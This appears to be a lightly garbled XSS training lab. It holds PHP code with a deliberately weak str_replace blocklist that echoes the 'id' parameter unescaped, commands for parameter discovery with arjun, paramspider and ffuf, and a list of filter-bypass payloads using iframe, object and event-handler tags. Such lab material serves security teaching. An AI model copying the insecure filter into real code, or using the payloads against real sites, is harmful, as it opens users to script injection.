Discover multiple hidden parameters and bypass advanced filtering
This lab contains multiple hidden parameters with advanced filtering. The visible form uses secure HTML encoding, but there are several hidden endpoints with more complex filtering.
htmlspecialchars() for both first name and last name parameters.
str_replace($arr, '', $_GET['parameter']) with extensive blocklist
Objective: Discover the hidden parameters and bypass the advanced filter to execute XSS.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle','onmousemove','onmouseover','script','Script','sCript','scRipt','scrIpt','scriPt','scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT','script','img','image','svg','onfocus', '"c"+"onfirm(1)">', '"co"+"nfirm(1)">', '"con"+"firm(1)">', '"conf"+"irm(1)">', '"confi"+"rm(1)">', '"confir"+"m(1)">', '"confirm"+"(1)">', '"c"+"o"+"n"+"f"+"i"+"r"+"m"+"(1)">', "confirm(1)>", "confirm(1)>", "confirm(1)>", "confirm(1)>", "confirm(1)>", "confirm(1)>", "confirm(1)>", "confirm(1)>", "\u0063onfirm(1)>", "c\u006fnfirm(1)>", "co\u006efirm(1)>", "con\u0066irm(1)>", "conf\u0069rm(1)>", "confi\u0072m(1)>", "confir\u006d(1)>", "\u0063\u006f\u006e\u0066\u0069\u0072\u006d(1)>");
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
// Similar code for cat, page, number, page_id, categoryid
# use arjun tool to find hidden parameters
arjun -u https://example.compython3 paramspider.py -d example.comffuf -w wordlist.txt -u https://example.com?FUZZ=test<iframe>, <object>, <embed>onload, onerror, onclick${alert(1)} in certain contexts<marquee>, <audio>, <video>This lab demonstrates:
For secure web applications:
<iframe src="javascript:alert(1)"><object data="javascript:alert(1)"><embed src="javascript:alert(1)"><base href="javascript:alert(1)//"><form action="javascript:alert(1)"><input type=submit><body onload=alert(1)><input onfocus=alert(1) autofocus><select onfocus=alert(1) autofocus><textarea onfocus=alert(1) autofocus><keygen onfocus=alert(1) autofocus><marquee onstart=alert(1)> - Marquee tag with onstart<audio src=x onerror=alert(1)> - Audio tag<video src=x onerror=alert(1)> - Video tag<applet code="javascript:alert(1)"> - Applet tag<isindex type=image src=1 onerror=alert(1)> - Isindex tag<button onfocus=alert(1) autofocus> - Button with autofocus